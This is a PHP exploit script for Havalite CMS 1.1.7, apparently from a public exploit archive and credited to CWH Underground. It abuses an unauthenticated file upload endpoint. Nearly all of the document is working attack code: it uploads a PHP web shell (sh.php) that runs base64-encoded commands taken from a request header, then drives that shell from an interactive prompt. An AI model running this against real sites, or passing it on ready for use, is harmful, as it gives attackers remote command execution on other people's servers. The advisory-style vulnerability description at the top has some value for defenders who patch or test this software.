Havalite CMS 1.1.7 - Unrestricted Arbitrary File Upload

<?php

/*

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /
  / XXXXXX /
 (________(
  `------'

 Exploit Title   : Havalite CMS Unrestricted File Upload Exploit
 Date            : 16 June 2013
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://havalite.com/
 Software Link   : http://jaist.dl.sourceforge.net/project/havalite/havalite_1.1.7.zip
 Version         : 1.1.7
 Tested on       : Window and Linux


#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################

/havalite/upload.php

#####################################################
DESCRIPTION
#####################################################

Restricted access to this script isn't properly realized (Don't require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.


#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");

    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------+";
print "\n| Havalite CMS Unrestricted File Upload Exploit |";
print "\n+-----------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /havalite/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];


$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"files[]\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}havalite/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referee: {$host}{$path}havalite/hava_upload.php\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}/havalite/tmp/files/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\nHavalite-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>